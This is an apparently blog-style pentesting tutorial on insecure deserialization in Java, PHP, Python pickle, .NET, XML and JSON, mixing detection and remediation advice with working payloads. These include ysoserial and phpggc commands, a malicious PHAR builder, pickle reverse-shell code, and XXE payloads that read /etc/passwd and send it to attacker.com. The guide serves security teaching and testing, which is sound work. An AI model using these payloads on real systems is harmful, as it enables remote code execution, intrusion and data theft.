Serialization Attacks for Pentesters
TL;DR: Serialization converts objects to bytes/text. Deserialization reverses this. If applications deserialize untrusted data without validation, attackers can achieve RCE. This is OWASP A08:2021.
Table of Contents
Open Table of Contents
Quick Reference
| Format | Language | Signature/Magic Bytes |
|---|
| Java Serialized | Java | AC ED 00 05 or base64 rO0AB |
| PHP Serialized | PHP | O:4:"User":... or a:2:{...} |
| Python Pickle | Python | \x80\x04\x95 or base64 gASV |
| .NET BinaryFormatter | .NET | 00 01 00 00 00 FF FF FF FF |
| .NET ViewState | .NET | Base64 starting with /w |
| YAML | Multiple | --- header |
| XML | Multiple | <?xml ...?> |
Common Locations
| Location | Format | Check |
|---|
| Cookies | Base64-encoded serialized | Decode and inspect |
| POST body | Raw serialized data | Check Content-Type |
| HTTP headers | Custom headers | Look for binary/base64 |
| ViewState | .NET apps | __VIEWSTATE parameter |
| Session data | Server-stored | Test via cookies |
| API endpoints | JSON/XML | Object injection |
| Tool | Purpose | Language |
|---|
| ysoserial | Payload generation | Java |
| phpggc | Payload generation | PHP |
| peas | Payload generation | Python |
| ysoserial.net | Payload generation | .NET |
| Burp Extension | Detection | Any |
Why Serialization Matters
The Problem
Safe Flow:
User Input → Validation → Processing
Dangerous Flow:
Serialized Data → Deserialize → Object Created
↓
Magic methods execute
(constructor, __wakeup, readObject)
↓
ATTACKER-CONTROLLED CODE RUNS!
Impact
| Impact | Severity | Example |
|---|
| Remote Code Execution | Critical | Run system commands |
| Object Injection | High | Manipulate application logic |
| Authentication Bypass | Critical | Forge session objects |
| File Operations | High | Read/write arbitrary files |
| SQL Injection | High | Inject via object properties |
Real-World Breaches
| Incident | Vulnerability | Impact |
|---|
| Apache Struts (2017) | Java deserialization | Equifax breach (143M records) |
| Jenkins (2016-2017) | Java deserialization | Multiple RCE exploits |
| WebLogic (2019) | Java deserialization | T3 protocol RCE |
| Drupal (2019) | PHP deserialization | RCE via phar:// |
How Serialization Works
TL;DR: Serialization converts in-memory objects to a storable/transmittable format. Deserialization recreates objects from this format.
Serialization Process
Serialization:
┌─────────────────────┐ ┌──────────────────────────┐
│ Object │ │ Byte Stream │
│ │ │ │
│ class User { │ │ AC ED 00 05 73 72 00 │
│ name: "Alice" │ ────► │ 04 55 73 65 72 00 00 │
│ role: "admin" │ │ 00 00 00 00 01 02 00 │
│ } │ │ 02 4C 00 04 6E 61 6D │
└─────────────────────┘ └──────────────────────────┘
Deserialization:
┌──────────────────────────┐ ┌─────────────────────┐
│ Byte Stream │ │ Object │
│ │ │ │
│ AC ED 00 05 73 72 00 │ │ class User { │
│ 04 55 73 65 72 00 00 │ ────► │ name: "Alice" │
│ 00 00 00 00 00 01 02 │ │ role: "admin" │
│ 00 02 4C 00 04 6E 61 │ │ } │
└──────────────────────────┘ └─────────────────────┘
Why It’s Dangerous
The Gadget Chain Attack:
1. Attacker crafts malicious serialized object
2. Object uses existing library classes ("gadgets")
3. When deserialized, magic methods trigger
4. Gadget chain leads to dangerous operation
Example Java gadget chain:
┌─────────────────┐
│ InvokerTransformer│ ─── calls ─┐
└─────────────────┘ ▼
┌─────────────────┐
│ ChainedTransformer│
└─────────────────┘
│
┌─────────────┴─────────────┐
▼ ▼
┌─────────────────┐ ┌─────────────────┐
│ConstantTransformer│ │InvokerTransformer│
│ (Runtime.class) │ │(.exec("calc")) │
└─────────────────┘ └─────────────────┘
│
▼
CALCULATOR OPENS!
Java Deserialization
TL;DR: Java serialization is binary format using ObjectInputStream. Vulnerable when deserializing untrusted data with dangerous libraries in classpath.
Magic bytes: AC ED 00 05
Base64: rO0AB...
┌──────────────────────────────────────────────────────────┐
│ AC ED │ 00 05 │ 73 72 │ ... class descriptor ...│ data │
│ magic │ version│ object│ │ │
│ │ │ marker│ │ │
└──────────────────────────────────────────────────────────┘
Vulnerable Code Pattern
// VULNERABLE: Deserializing untrusted data
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(untrustedData)
);
Object obj = ois.readObject(); // DANGER!
Magic Methods
| Method | When Triggered |
|---|
readObject() | During deserialization |
readResolve() | After deserialization |
finalize() | Garbage collection (deprecated) |
toString() | String conversion |
hashCode() | Hash operations |
equals() | Comparison |
Gadget Chains
| Library | Gadget | Impact |
|---|
| Commons Collections | Multiple | RCE |
| Spring | Spring beans | RCE |
| Groovy | MethodClosure | RCE |
| Jdk7u21 | AnnotationInvocationHandler | RCE |
| Hibernate | TypedValue | RCE |
| Vaadin | NestedMethodProperty | RCE |
Testing Checklist
Java Exploitation Commands
# Generate ysoserial payload
java -jar ysoserial.jar CommonsCollections6 'curl attacker.com/pwned' | base64
# Common payloads to try:
java -jar ysoserial.jar CommonsCollections1 'id'
java -jar ysoserial.jar CommonsCollections5 'id'
java -jar ysoserial.jar CommonsCollections6 'id'
java -jar ysoserial.jar CommonsCollections7 'id'
java -jar ysoserial.jar Groovy1 'id'
java -jar ysoserial.jar Spring1 'id'
# DNS callback (blind testing)
java -jar ysoserial.jar URLDNS 'http://attacker.burpcollaborator.net'
# JRMPListener (out of band)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'bash -i >& /dev/tcp/attacker/4444 0>&1'
# Using with curl
payload=$(java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0)
curl -X POST "http://target/api" \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary "@-" <<< $(echo $payload | base64 -d)
| Attack | Detect | Defend |
|---|
| Gadget chain RCE | Monitor deserialization | Don’t deserialize untrusted data |
| URLDNS callback | Detect outbound DNS | Use lookahead deserialization |
| JRMP attack | Monitor RMI traffic | Whitelist allowed classes |
PHP Deserialization
TL;DR: PHP’s unserialize() recreates objects. Magic methods like __wakeup() and __destruct() execute during/after deserialization.
// Object
O:4:"User":2:{s:4:"name";s:5:"Alice";s:4:"role";s:5:"admin";}
│ │ │ │ │ │ │ │ │ │ │ │
│ │ │ │ │ │ │ │ │ │ │ └─ value
│ │ │ │ │ │ │ │ │ │ └─ length
│ │ │ │ │ │ │ │ │ └─ property name
│ │ │ │ │ │ │ │ └─ string type
│ │ │ │ │ │ │ └─ value
│ │ │ │ │ │ └─ length
│ │ │ │ │ └─ property name
│ │ │ │ └─ string type
│ │ │ └─ number of properties
│ │ └─ class name
│ └─ length of class name
└─ Object type
// Array
a:2:{i:0;s:5:"hello";i:1;s:5:"world";}
│ │ │ │ │ │ │ │
│ │ │ │ │ │ │ └─ value
│ │ │ │ │ │ └─ integer key
│ │ │ │ │ └─ value
│ │ │ │ └─ integer key
│ │ │ └─ size
│ │ └─ array type
Vulnerable Code Pattern
// VULNERABLE: Deserializing untrusted data
$user = unserialize($_COOKIE['session']);
// Also vulnerable via phar://
include($_GET['file']); // file=phar://malicious.phar
Magic Methods
| Method | When Triggered |
|---|
__construct() | Object creation |
__destruct() | Object destruction |
__wakeup() | During unserialize |
__toString() | String conversion |
__call() | Undefined method call |
__get() | Undefined property access |
Gadget Chains (phpggc)
# List available chains
phpggc -l
# Generate payload
phpggc Laravel/RCE1 system id
# Common frameworks:
phpggc Monolog/RCE1 system id
phpggc Guzzle/RCE1 system id
phpggc Symfony/RCE4 system id
phpggc WordPress/RCE1 system id
phpggc Magento/SQLI1 'sql query'
PHAR Deserialization
// phar:// stream wrapper triggers deserialization
// Even on file operations that shouldn't!
file_exists('phar://malicious.phar'); // Triggers unserialize!
file_get_contents('phar://...');
include('phar://...');
fopen('phar://...');
// Many more...
PHP Exploitation
<?php
// Create malicious PHAR
class EvilClass {
public $cmd = 'id';
function __destruct() {
system($this->cmd);
}
}
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new EvilClass());
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
// Rename to bypass extension checks
rename('evil.phar', 'evil.jpg');
?>
# Then exploit:
# ?file=phar://uploads/evil.jpg/test.txt
# Using phpggc
phpggc -u Monolog/RCE1 system id
# -u for URL encoding
# For PHAR
phpggc -p phar -o evil.phar Monolog/RCE1 system id
# With custom wrapper
phpggc -p phar-jpeg -o evil.jpg Monolog/RCE1 system id
| Attack | Detect | Defend |
|---|
| Magic method chain | Monitor object creation | Use json_decode instead |
| PHAR deserialization | Detect phar:// access | Disable phar:// wrapper |
| Object injection | Log unserialize calls | Validate before unserialize |
Python Pickle
TL;DR: Python’s pickle can execute arbitrary code during deserialization. The __reduce__ method is especially dangerous.
# Pickle uses a stack-based VM
# Opcodes control operations
import pickle
import pickletools
data = pickle.dumps({'key': 'value'})
pickletools.dis(data)
# Shows: MARK, DICT, STRING, etc.
Vulnerable Code Pattern
# VULNERABLE: Loading untrusted pickle
import pickle
data = receive_from_network()
obj = pickle.loads(data) # DANGER!
# Also vulnerable:
pickle.load(file_handle)
Exploitation via reduce
import pickle
import os
class Exploit:
def __reduce__(self):
# Returns (callable, args) tuple
# callable(*args) is executed on unpickle
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# When unpickled, runs: os.system('id')
Payload Generation
Python Pickle Payloads
# Basic RCE payload
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('curl attacker.com/pwned',))
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())
# Reverse shell
class RevShell:
def __reduce__(self):
import socket, subprocess, os
return (os.system, ('bash -i >& /dev/tcp/attacker/4444 0>&1',))
# Using pickle opcodes directly
import pickletools
# Raw opcode payload for os.system('id')
payload = b'''cos
system
(S'id'
tR.'''
# More complex payload generator
def generate_payload(cmd):
return pickle.dumps({
'__reduce__': (eval, (f"__import__('os').system('{cmd}')",))
})
# Using fickling (for analysis)
pip install fickling
python -m fickling --check payload.pkl
# Using peas (Python Exploitation & Analysis Suite)
# https://github.com/frohoff/peas
| Attack | Detect | Defend |
|---|
| reduce RCE | Monitor pickle loads | Use JSON instead |
| Arbitrary code exec | Detect pickle usage | Whitelist allowed classes |
| Module import | Log imported modules | Use hmac to sign pickles |
.NET Deserialization
TL;DR: .NET’s BinaryFormatter and other serializers can lead to RCE. ViewState is a common attack vector.
.NET Serializers
| Serializer | Risk | Notes |
|---|
| BinaryFormatter | Critical | Deprecated, avoid |
| NetDataContractSerializer | Critical | Similar to BinaryFormatter |
| SoapFormatter | Critical | XML-based, same risks |
| ObjectStateFormatter | High | ViewState |
| JavaScriptSerializer | Medium | Type handling issues |
| Json.NET | Low | With TypeNameHandling |
| XmlSerializer | Lower | Limited type support |
ViewState Exploitation
ViewState is serialized page state in ASP.NET:
<input type="hidden" name="__VIEWSTATE" value="..." />
If MAC validation disabled or key leaked:
1. Decode ViewState (base64)
2. Inject malicious serialized object
3. Re-encode and submit
4. Server deserializes → RCE
Vulnerable Configuration
<!-- web.config - VULNERABLE -->
<system.web>
<pages enableViewStateMac="false" />
</system.web>
<!-- Or with known machineKey -->
<machineKey validationKey="..." decryptionKey="..." />
.NET Exploitation
# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc"
ysoserial.exe -f ObjectStateFormatter -g TypeConfuseDelegate -c "calc"
# ViewState exploitation
# If MAC disabled:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -enc ..." --path="/target.aspx" --apppath="/"
# If machine key known:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "calc" --path="/target.aspx" --apppath="/" \
--validationkey="..." --validationalg="SHA1" \
--decryptionkey="..." --decryptionalg="AES"
# Generate for specific formatter
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
| Attack | Detect | Defend |
|---|
| ViewState tampering | Monitor ViewState errors | Enable MAC validation |
| BinaryFormatter RCE | Detect formatter usage | Use safer serializers |
| Json.NET type abuse | Log type resolution | Disable TypeNameHandling |
XML-based Attacks
TL;DR: XML can carry both XXE (entity injection) and deserialization attacks through type attributes.
XXE (XML External Entity)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Blind XXE via OOB -->
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
XML Deserialization
<!-- .NET XmlSerializer with types -->
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="System.Diagnostics.Process">
<StartInfo>
<FileName>cmd</FileName>
<Arguments>/c calc</Arguments>
</StartInfo>
</root>
<!-- Java XMLDecoder -->
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"/>
</object>
</java>
| Attack | Detect | Defend |
|---|
| XXE file read | Monitor external entities | Disable DTD processing |
| XXE SSRF | Detect outbound connections | Disable external entities |
| XML deserialization | Log type attributes | Whitelist types |
XXE Payloads
<!-- File read -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
<!-- SSRF -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]>
<foo>&xxe;</foo>
<!-- Blind OOB -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&send;</foo>
<!-- evil.dtd -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
<!-- Parameter entity tricks -->
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
%param1;
]>
<foo>&exfil;</foo>
JSON Attacks
TL;DR: JSON itself is safe, but libraries that support type hints or polymorphism can be exploited.
Vulnerable JSON Libraries
| Library | Language | Vulnerability |
|---|
| Json.NET (Newtonsoft) | .NET | TypeNameHandling |
| Jackson | Java | Default typing |
| fastjson | Java | AutoType |
Exploitation Examples
// Json.NET with TypeNameHandling
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList",
"$values": ["cmd", "/c calc"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
// Jackson with default typing
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/Exploit"}]
| Attack | Detect | Defend |
|---|
| Type confusion | Monitor type resolution | Disable type hints |
| Gadget chains | Detect dangerous types | Whitelist allowed types |
| JNDI injection | Block LDAP/RMI | Update libraries |
Identifying Serialized Data
Common Signatures
| Format | Signature | Base64 |
|---|
| Java | AC ED 00 05 | rO0AB |
| .NET BinaryFormatter | 00 01 00 00 00 FF FF FF FF | AAEAAAD///// |
| PHP | O:, a:, s:, i: | N/A (text) |
| Python Pickle | \x80\x04\x95 | gASV |
| gzip | 1F 8B | H4sI |
Detection in Burp
1. Look in:
- Cookies
- Hidden form fields
- POST body
- Custom headers
2. Decode base64 values
3. Check magic bytes
4. Look for patterns:
- Java: "sr" after magic bytes
- PHP: O:number:"classname"
- .NET: type assembly strings
Automated Detection
# Using grep for patterns
grep -r "rO0AB" ./logs/
grep -r "O:[0-9]*:\"" ./logs/
grep -r "AAEAAAD" ./logs/
# Burp extensions:
# - Java Deserialization Scanner
# - Freddy (Deserialization Bug Finder)
# - ViewState Editor
Exploitation Techniques
Testing Workflow
1. IDENTIFY
└── Find serialized data
└── Determine format/language
2. ANALYZE
└── What classes are available?
└── What gadgets exist?
3. GENERATE
└── Create payload with appropriate tool
└── ysoserial, phpggc, etc.
4. DELIVER
└── Replace legitimate serialized data
└── Encode appropriately (base64, URL)
5. VERIFY
└── Blind: DNS callback, sleep
└── Direct: Command output
Blind Testing
# DNS callback
java -jar ysoserial.jar URLDNS 'http://unique-id.burpcollaborator.net'
# Time-based
java -jar ysoserial.jar CommonsCollections6 'sleep 10'
# OOB HTTP
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/callback'
General Recommendations
| Recommendation | Priority |
|---|
| Don’t deserialize untrusted data | Critical |
| Use safe serialization formats (JSON) | High |
| Implement input validation | High |
| Keep libraries updated | High |
| Use allowlists for classes | Medium |
| Monitor deserialization | Medium |
Language-Specific Fixes
Remediation Code
// Java - Use ObjectInputFilter (Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"!*;java.base/*;java.util.*"
);
ois.setObjectInputFilter(filter);
// Or use safe alternatives
// JSON: Gson, Jackson without type info
// Protocol Buffers
// MessagePack
// PHP - Use JSON instead
$data = json_decode($input, true);
// If unserialize needed, use allowed_classes
$obj = unserialize($data, ['allowed_classes' => ['SafeClass']]);
// Disable phar://
// In php.ini: phar.readonly = 1
# Python - Use JSON
import json
data = json.loads(input_string)
# If pickle needed, use hmac
import hmac
import pickle
def safe_load(data, key):
signature, pickled = data.split(b':', 1)
expected = hmac.new(key, pickled).digest()
if not hmac.compare_digest(signature, expected):
raise ValueError("Invalid signature")
return pickle.loads(pickled)
// .NET - Avoid BinaryFormatter
// Use System.Text.Json or JsonSerializer
// If needed, use SerializationBinder
public class SafeBinder : SerializationBinder {
public override Type BindToType(string assemblyName, string typeName) {
if (typeName != "SafeType")
throw new SecurityException();
return typeof(SafeType);
}
}
Payload Generators
| Tool | Language | Link |
|---|
| ysoserial | Java | GitHub |
| ysoserial.net | .NET | GitHub |
| phpggc | PHP | GitHub |
| peas | Python | GitHub |
| Tool | Purpose |
|---|
| Burp Deserialization Scanner | Java detection |
| Freddy | Multi-language detection |
| ViewState Editor | .NET ViewState |
| SerializationDumper | Java analysis |
| Tool | Purpose |
|---|
| SerializationDumper | Analyze Java serialized |
| pickletools | Analyze Python pickle |
| dnSpy | .NET decompilation |
Practice Labs
Beginner
| Resource | Focus |
|---|
| PortSwigger Web Academy | Deserialization labs |
| TryHackMe | Java deserialization |
| HackTheBox | Various challenges |
Vulnerable Applications
| Application | Language |
|---|
| WebGoat | Java |
| DVWA | PHP |
| Vulnerable Java App | Java |
| NodeGoat | Node.js |
Glossary
| Term | Definition |
|---|
| Deserialization | Converting bytes to objects |
| Gadget | Existing class used in exploit chain |
| Gadget Chain | Series of gadgets leading to RCE |
| Magic Method | Auto-called method (__wakeup, readObject) |
| Marshalling | Another term for serialization |
| Object Injection | Injecting malicious objects |
| Pickle | Python serialization format |
| Serialization | Converting objects to bytes |
| ViewState | .NET page state serialization |
| XXE | XML External Entity injection |
What’s Next?
Now that you understand serialization attacks:
Summary
Serialization attacks are high-impact vulnerabilities:
- Java -
AC ED magic bytes, ysoserial gadget chains
- PHP -
unserialize() + magic methods, phar:// wrapper
- Python -
pickle.loads() + __reduce__ method
- .NET - BinaryFormatter, ViewState tampering
- XML - XXE injection, type attributes
- JSON - TypeNameHandling, default typing
Key Points:
- Look for base64-encoded binary data
- Test with DNS/HTTP callbacks first
- Multiple gadget chains may be needed
- Keep exploitation tools updated
- The fix is: don’t deserialize untrusted data
Found this guide helpful? Check out the other posts in the SecureKhan penetration testing series.